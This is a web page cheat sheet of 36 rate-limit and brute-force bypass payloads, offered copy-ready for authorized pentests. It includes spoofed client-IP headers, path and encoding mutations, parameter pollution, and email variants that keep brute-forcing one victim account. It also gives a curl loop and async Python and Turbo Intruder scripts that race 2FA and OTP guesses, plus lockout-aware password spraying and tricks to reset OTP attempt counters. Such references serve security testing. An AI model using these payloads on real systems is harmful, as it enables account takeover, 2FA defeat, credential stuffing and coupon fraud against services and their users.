Rate Limit Bypass Cheat Sheet

Techniques to bypass rate limiting and brute-force protections: IP-spoofing headers, casing and path mutation, parameter pollution, race-window concurrency, and account-lockout evasion for authorized pentests. (36 payloads)

Try it interactively with the API Security Testing Hub

IP-Identity Spoofing Headers

(7)

X-Forwarded-For: 127.0.0.1

The classic. Many limiters key the bucket on the X-Forwarded-For value instead of the real socket IP. Rotate the value (1.1.1.1, 1.1.1.2, ...) per request to get a fresh quota each time. Also try a localhost/internal IP — some apps whitelist these and skip limiting entirely.Add a new line per request: X-Forwarded-For: 8.8.8.8, then 8.8.8.9, etc. Automate with Burp Intruder on the last octet.

X-Forwarded-For: <ip1>, <ip2>, <ip3>

Spoof the whole forwarded chain. Different proxies trust different positions (some take the first hop, some the last). Inject a chain so whichever position the limiter parses lands on your rotated value.Reverse proxies append; rightmost is usually the closest trusted hop. Test which index the backend buckets on.

X-Real-IP: 1.3.3.7
X-Originating-IP: 1.3.3.7
X-Client-IP: 1.3.3.7
X-Remote-IP: 1.3.3.7
X-Remote-Addr: 1.3.3.7

When X-Forwarded-For is ignored, the app may trust one of these alternative client-IP headers. Send several at once with the same fresh value and rotate per request — one of them often controls the rate-limit key.Spray all of them in one request; the framework picks the first it recognizes.

Forwarded: for=192.0.2.43;proto=https

RFC 7239 standard forwarded header. Less commonly stripped or validated than X-Forwarded-For, so a limiter that normalizes XFF may still trust a rotated Forwarded value.Syntax matters: for=<ip>. Try for="[2001:db8::1]" for IPv6 buckets too.

X-Forwarded-For: 127.0.0.1, <real-ip>

Prepend a trusted/internal IP. A limiter that reads only the leftmost (client-most) value sees 127.0.0.1 and may exempt it as internal traffic, while the real edge appends your true IP after it.Effective against naive 'first value = client' parsing on misconfigured trust chains.

X-Forwarded-Host: trusted.internal
True-Client-IP: 1.3.3.7
CF-Connecting-IP: 1.3.3.7
Fastly-Client-IP: 1.3.3.7

CDN-specific identity headers. True-Client-IP (Akamai/Cloudflare Enterprise), CF-Connecting-IP (Cloudflare), and Fastly-Client-IP are trusted when the origin sits behind that CDN but doesn't restrict who can set them. Spoofing one resets the per-IP counter at the origin.Only works if the origin trusts the header without verifying it came from the real CDN edge — common in misconfigured self-hosted origins.

X-Forwarded-For: 0x7f.0x0.0x0.0x1
X-Forwarded-For: 2130706433
X-Forwarded-For: 127.1

Alternate IP encodings (hex, decimal, octal, short-form) of the same address. If the limiter stores the raw string as the bucket key without normalizing, each representation is a distinct key — effectively infinite quota for one host.All three resolve to 127.0.0.1 at the OS level but differ as strings. Combine with the IP/CIDR Calculator to mass-generate equivalents.

Path & URL Mutation

(6)

POST /api/login  ->  POST /api/login/
POST /api/Login
POST /api/login//
POST /api/./login

Path-based limiters often key on the exact normalized path. Trailing slash, mixed case (on case-insensitive backends), double slash, and dot-segments resolve to the same handler but create distinct rate-limit keys, granting a fresh quota per variant.Best where routing is case-insensitive/loose (IIS, some Express configs) but the limiter is exact-match.

POST /api/login%2f
POST /api/login%20
POST /api/login%00
POST /api/login%09

URL-encoded suffixes — encoded slash, space, null byte, tab. The web server may decode and route to /api/login while the limiter buckets the literal encoded string, yielding a new counter for each encoding.%00 and %09 are frequently overlooked by limiters that only normalize %2f.

POST /api/v1/login -> /api/v2/login /api/login /api/internal/login /api/mobile/login

Endpoint variation: the same business action is often reachable through multiple routes (legacy versions, mobile API, internal/admin paths, GraphQL mutations). Each route may have its own (or no) limit, so cycle the action across all of them.Map all routes first via the Swagger/OpenAPI doc, JS bundle, or sitemap. Unversioned and v1 endpoints are often unprotected.

POST /api/login?cachebuster=1
POST /api/login?x=1
POST /api/login#anything

Append a junk query string or fragment that the handler ignores but the limiter includes in its key. Increment the value each request for a unique bucket. The fragment (#) is never sent to the server but proves whether a tool over-includes it.Works when the limiter hashes the full request-URI rather than the route. Increment the param: ?x=1, ?x=2, ...

POST //api/login
POST /%2e/api/login
POST /api/%2e%2e/api/login

Leading double-slash and traversal-style segments that collapse to the canonical path during routing but stay distinct at the limiter layer. Useful against reverse proxies that normalize differently from the app server.Test for proxy-vs-origin path-parsing discrepancies — the same class of bug behind some request-smuggling and ACL bypasses.

GET /api/login;jsessionid=AAA
GET /api/login;foo=bar

Matrix/path parameters (the ;key=value syntax) are stripped by some servlet containers before routing but kept by the limiter. Rotate the matrix value for fresh buckets on Java/Tomcat stacks.Tomcat strips ;jsessionid; other ;params behavior varies. Verify the action still executes.

HTTP Method & Parameter Variation

(6)

POST /api/reset -> PUT /api/reset / PATCH /api/reset / DELETE /api/reset

Limiters are sometimes scoped per method. If the handler accepts multiple verbs (or the framework routes POST/PUT to the same controller), switch verbs to multiply your quota across them.Many frameworks alias POST and PUT for upserts; confirm the action's side effect still fires.

X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
X-HTTP-Method: PATCH

Method-override headers make a POST behave as another verb at the application layer while staying a POST on the wire. A per-method limiter sees the override target; a network-layer limiter sees POST — mismatch = bypass.Honored by Spring, Symfony, Rails, and many REST frameworks. Combine with the verb-switching trick above.

username=admin&username=admin2
{"user":"admin","user":"admin"}

HTTP Parameter Pollution. Duplicate the identity field that the limiter keys on. The limiter may bucket on the first occurrence while the auth logic reads the last (or vice versa), so each duplicated-value combo is a distinct counter against the same target account.Backend-dependent: PHP keeps last, ASP.NET concatenates, Express makes an array. Use the HTTP Request Parser to confirm parsing.

Content-Type: application/json -> application/x-www-form-urlencoded -> multipart/form-data

Switch the body content-type for the same action. Limiters or WAFs that inspect/normalize one content-type may not bucket another, and some middleware applies limits only to JSON APIs.The endpoint must accept multiple body formats. multipart/form-data is the most commonly unguarded.

POST /api/login
[email protected]
[email protected]
[email protected]
[email protected].

Mutate the identity value itself with case changes, plus-addressing, or a trailing dot. The auth/lookup layer normalizes these to the same account, but a limiter keying on the raw string treats each as a new user — letting you keep brute-forcing one victim.Gmail-style + aliases and case-insensitive email matching make this reliable on login/reset flows.

GET /api/data vs HEAD /api/data

HEAD requests sometimes share the GET handler (returning identical processing minus the body) but escape a GET-only limiter — useful for oracle/timing-based enumeration where you only need status codes.Good for username/email existence oracles where the response code differs but you don't need the body.

Race-Window Concurrency (Limit-Overrun)

(5)

for i in $(seq 1 30); do curl -s -X POST https://target/api/2fa/verify -H 'Cookie: session=abc' -d "code=$(printf '%06d' $i)" & done; wait

Fire many requests inside the rate-limiter's check-then-increment window. A non-atomic limiter (read count, compare, then increment) lets a burst of concurrent requests all pass the check before any increment lands — the classic limit-overrun race.Most effective against the FIRST request batch: e.g. a '5 OTP attempts' limit can leak 20+ tries if the increment isn't atomic.

import asyncio, aiohttp
async def f(s,c): 
  return await s.post(URL, data={'code':c}, cookies=CK)
async def main():
  async with aiohttp.ClientSession() as s:
    await asyncio.gather(*[f(s, f'{i:04d}') for i in range(50)])
asyncio.run(main())

Async Python burst: 50 OTP/coupon/voucher attempts dispatched simultaneously so they hit the server before the counter updates. The same pattern that exploits double-spend races also overruns attempt-based limits.Pair with the Race Condition Lab to generate the script and analyze how many of the 50 actually succeeded.

# Burp Repeater: duplicate request to N tabs -> select all
# -> 'Send group in parallel (single-packet attack)'

HTTP/2 single-packet attack. Bundles up to ~20-30 requests into one TCP packet so they arrive with near-zero jitter, eliminating network timing noise and maximizing the overlap inside the limiter's race window.The most reliable way to land a tight race remotely — removes the jitter that defeats sequential bursts on high-latency targets.

def queueRequests(target, wordlists):
  engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=1, pipeline=False)
  for i in range(30):
    engine.queue(target.req, str(i), gate='race')
  engine.openGate('race')

Turbo Intruder gate-based race: all 30 requests are queued, then released simultaneously via openGate. The %s wordlist position lets you race 30 different OTP/voucher guesses through a limit that should only allow a handful.concurrentConnections matches the burst size; gate sync gives the tightest window for limit-overrun.

POST /api/coupon/apply {"code":"SAVE50"} x50 in parallel

Race the limit on single-use or n-use actions: coupon redemption, gift-card claim, referral bonus, free-trial signup. The limiter and the uniqueness check both lose to concurrency, so one code applies many times.Overlaps with the Race Condition cheat sheet — rate-limit overrun and business-logic double-spend are the same root cause (non-atomic check-then-act).

Auth Lockout & Brute-Force Evasion

(6)

Spray: 1 password x ALL users (instead of many passwords x 1 user)

Per-account lockouts count failed attempts against a single username. Password spraying inverts the loop — try one common password across thousands of accounts — so no single account crosses its lockout threshold while you still find weak credentials.Stay below lockoutThreshold-1 per account per observation window. See the Password Spraying cheat sheet for lockout-aware tooling.

Round 1: 'Spring2026!' across all users -> WAIT one observation window -> Round 2: 'Winter2026!'

Time-throttled spraying. After one password per account, sleep for a full lockout-observation window (resetting badPwdCount) before the next password. Slow but keeps you under both the lockout policy and time-bucketed rate limits.Pull the policy first (e.g. Get-ADDefaultDomainPasswordPolicy) so your sleep matches lockoutObservationWindow plus a safety margin.

Login fails after N tries -> rotate X-Forwarded-For per attempt

When the brute-force limit is keyed on source IP rather than account, combine IP-rotation headers with the guessing loop: each attempt presents a fresh spoofed IP, so the per-IP attempt counter never builds up.Test whether the lockout is per-IP (header-spoofable) or per-account (needs spraying/timing) — they require opposite tactics.

Brute the OTP/2FA code BEFORE the resend resets the attempt counter

Many 2FA flows reset the per-code attempt counter when a new code is issued. Request a fresh code, burn your allowed guesses, request another code, repeat — multiplying total guesses against a small (often 4-6 digit) code space.Especially dangerous when combined with the race-window burst: reset + concurrent guesses can defeat short numeric OTPs.

Switch identifier: login with email, then username, then phone

If an account is reachable via several identifiers and the lockout is keyed per-identifier-string, cycle through email / username / phone / normalized variants to get a fresh attempt budget against the same underlying account.Overlaps with the email/case mutation trick — the auth layer resolves them all to one user, the limiter does not.

Distribute attempts across a proxy/IP pool (round-robin per request)

For socket-IP-based limits that can't be header-spoofed, route each request through a different egress IP (residential/proxy pool, cloud NAT rotation). The per-IP bucket stays low while aggregate throughput against the target stays high.Authorized engagements only and within ROE — distributed brute force can look like a real attack to defenders.

Detection, Confirmation & Notes

(6)

Watch: 429 Too Many Requests | Retry-After | X-RateLimit-Limit / -Remaining / -Reset

First map the limit before bypassing it. The 429 status, Retry-After, and X-RateLimit-* headers reveal the window size, quota, and reset time. A dropping X-RateLimit-Remaining that does NOT drop after a mutation proves that variant landed in a different bucket.Use the HTTP Request/Response parser to extract these headers automatically across a fuzzing run.

Bypass confirmed when: counter resets, 429 disappears, or Remaining stays high under a mutation

Validation method: send requests until you hit 429, then apply one mutation (new header value, path variant, etc.) and check whether requests succeed again. If they do, that mutation defeats the limiter — note exactly which one for the report.Change one variable at a time so you can attribute the bypass precisely (single-variable testing).

Limiter scope check: per-IP? per-session? per-account? per-API-key? per-route?

The bypass that works depends entirely on the key. Per-IP -> spoof headers / rotate IPs. Per-session/token -> drop or rotate the cookie/Authorization header. Per-account -> spray/identifier-switch. Per-route -> path/method variation. Determine the scope first.Send an unauthenticated request and an authenticated one to the same endpoint to see whether the bucket follows the IP or the session.

Drop the session: send the limited request with NO Cookie / Authorization header

Session-keyed limiters bucket by token. Removing authentication (where the endpoint still functions, e.g. public search or login itself) can place you in a separate, often more generous, anonymous bucket — or none at all.Or rotate the session: many signup/guest endpoints mint a fresh session token cheaply, giving a new per-session quota each time.

Stack the bypasses: rotate X-Forwarded-For + path-case mutation + cachebuster param

Layered mutations multiply effectiveness — combine an IP-spoof header, a path/encoding variant, and a junk query param so the request differs on every dimension a limiter might key on. Use the API Security Testing Hub to template the matrix.Report the minimal sufficient bypass, but during testing stack aggressively to find any gap, then narrow down.

Reporting impact: tie the bypass to a concrete abuse (credential stuffing, OTP brute, coupon abuse, scraping, DoS)

A rate-limit bypass alone is low severity; its impact is whatever protection it removes. Demonstrate the downstream attack the limit was meant to stop and rate it on that — e.g. unlimited OTP guessing escalates to full account takeover.Authorized testing only. Throttle real attacks during PoC to avoid genuine service impact and account lockouts for real users.

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Cheat Sheets

Race Condition Cheat Sheet API Security Cheat Sheet Business Logic Cheat Sheet Password Spraying Cheat Sheet

Frequently asked questions

What is the Rate Limit Bypass Cheat Sheet?+

It's a quick-reference collection of 36 Rate Limit Bypass payloads for testing Rate Limit Bypass vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Rate Limit Bypass payloads?+

Copy any payload straight into your authorized test, or use the API Security Testing Hub to apply them interactively. Only test systems you have explicit permission to assess.

Are these Rate Limit Bypass payloads free to use?+

Yes — this cheat sheet and all Rate Limit Bypass payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the Rate Limit Bypass Cheat Sheet?+

How do I use these Rate Limit Bypass payloads?+

Copy any payload straight into your authorized test, or use the API Security Testing Hub to apply them interactively. Only test systems you have explicit permission to assess.

Are these Rate Limit Bypass payloads free to use?+

Yes — this cheat sheet and all Rate Limit Bypass payloads are completely free, with no account required. Everything runs in your browser.

Rate Limit Bypass Cheat Sheet

IP-Identity Spoofing Headers

Path & URL Mutation

HTTP Method & Parameter Variation

Race-Window Concurrency (Limit-Overrun)

Auth Lockout & Brute-Force Evasion

Detection, Confirmation & Notes

Related Tools

Related Cheat Sheets

Frequently asked questions

Rate Limit Bypass Cheat Sheet

IP-Identity Spoofing Headers

Path & URL Mutation

HTTP Method & Parameter Variation

Race-Window Concurrency (Limit-Overrun)

Auth Lockout & Brute-Force Evasion

Detection, Confirmation & Notes

Related Tools

Related Cheat Sheets

Frequently asked questions